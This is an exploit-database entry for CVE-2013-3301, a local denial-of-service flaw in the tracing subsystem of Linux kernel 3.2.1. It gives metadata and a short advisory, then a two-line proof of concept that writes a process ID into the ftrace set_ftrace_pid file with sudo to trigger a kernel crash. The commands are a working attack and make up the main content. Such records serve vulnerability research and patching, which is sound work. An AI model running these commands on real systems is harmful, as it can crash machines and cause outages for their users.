Linux Kernel 3.2.1 - Tracing Multiple Local Denial of Service Vulnerabilities

Author: anonymous
type: dos
platform: linux
port: 0
date_added: 2013-04-15
date_updated: 2015-10-15
verified: 1
codes: CVE-2013-3301;OSVDB-92850
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source: https://www.securityfocus.com/bid/59055/info

The Linux kernel is prone to multiple local denial-of-service vulnerabilities.

Attackers can exploit these issues to trigger a kernel crash, which may result in a denial-of-service condition.

cd /sys/kernel/debug/tracing
echo 1234 | sudo tee -a set_ftrace_pid